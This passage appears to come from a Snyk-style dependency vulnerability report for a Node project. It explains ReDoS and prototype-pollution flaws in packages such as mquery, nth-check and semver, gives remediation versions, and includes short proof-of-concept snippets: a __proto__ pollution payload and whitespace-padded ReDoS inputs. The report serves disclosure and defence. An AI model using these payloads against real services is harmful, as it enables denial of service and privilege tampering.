Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mongodb to version 3.1.13 or higher.
References
high severity
- Vulnerable module: mquery
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21 › mquery@2.3.3Remediation: Upgrade to mongoose@5.12.3.
Overview
mquery is an Expressive query building for MongoDB
Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone() function.
PoC
mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mquery to version 3.2.5 or higher.
References
high severity
- Vulnerable module: nth-check
- Introduced through: enzyme@2.9.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › enzyme@2.9.1 › cheerio@0.22.0 › css-select@1.2.0 › nth-check@1.0.2Remediation: Upgrade to enzyme@3.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when parsing crafted invalid CSS nth-checks, due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? in RE_NTH_ELEMENT with quantified overlapping adjacency.
PoC
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade nth-check to version 2.0.1 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: nightwatch@0.9.21, node-sass@4.14.1 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › agent-base@2.1.1 › semver@5.0.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › http-proxy-agent@1.0.0 › agent-base@2.1.1 › semver@5.0.3Remediation: Upgrade to nightwatch@1.0.4.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › https-proxy-agent@1.0.0 › agent-base@2.1.1 › semver@5.0.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › socks-proxy-agent@2.1.1 › agent-base@2.1.1 › semver@5.0.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › agent-base@2.1.1 › semver@5.0.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › http-proxy-agent@1.0.0 › agent-base@2.1.1 › semver@5.0.3Remediation: Upgrade to nightwatch@1.0.4.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › https-proxy-agent@1.0.0 › agent-base@2.1.1 › semver@5.0.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › proxy-agent@2.0.0 › pac-proxy-agent@1.1.0 › socks-proxy-agent@2.1.1 › agent-base@2.1.1 › semver@5.0.3
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › node-gyp@3.8.0 › semver@5.3.0Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › pg@6.4.2 › semver@4.3.2Remediation: Upgrade to pg@8.4.0.
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: trim-newlines
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › meow@3.7.0 › trim-newlines@1.0.0Remediation: Upgrade to node-sass@6.0.1.
Overview
trim-newlines is a Trim newlines from the start and/or end of a string
Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.
References
high severity
- Vulnerable module: unset-value
- Introduced through: nyc@11.9.0, eslint-watch@3.1.5 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the unset function in index.js, because it allows access to object prototype properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade unset-value to version 2.0.1 or higher.
References
high severity
- Vulnerable module: hawk
